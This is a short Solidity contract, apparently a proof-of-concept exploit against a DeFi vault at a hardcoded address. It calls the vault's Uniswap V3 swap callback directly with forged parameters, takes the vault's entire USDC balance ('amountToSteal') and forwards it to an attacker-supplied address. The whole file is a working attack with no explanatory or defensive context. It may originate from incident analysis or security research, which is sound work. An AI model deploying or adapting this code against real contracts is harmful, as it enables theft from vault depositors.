Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import {IVault} from "./IVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Exploit {
    IVault internal constant victim = IVault(0xB91AE2c8365FD45030abA84a4666C4dB074E53E7);
    IERC20 internal constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    function exploit(address exploitCoordinator) external {
        IVault.Reserves memory reserves = IVault.Reserves({reserveApes: 0, reserveLPers: 0, tickPriceX42: 0});

        IVault.VaultState memory vaultState = IVault.VaultState({reserve: 0, tickPriceSatX42: 0, vaultId: 0});

        IVault.VaultParameters memory vaultParams = IVault.VaultParameters({
            debtToken: address(usdc),
            collateralToken: exploitCoordinator, // The address of TokenA and exploitCoordinator
            leverageTier: 0
        });

        bytes memory data =
            abi.encode(msg.sender, exploitCoordinator, vaultParams, vaultState, reserves, false, true);

        uint256 amountToSteal = usdc.balanceOf(address(victim));

        victim.uniswapV3SwapCallback(0, int256(amountToSteal), data);

        uint256 usdcBalance = usdc.balanceOf(address(this));

        usdc.transfer(exploitCoordinator, usdcBalance);
    }
}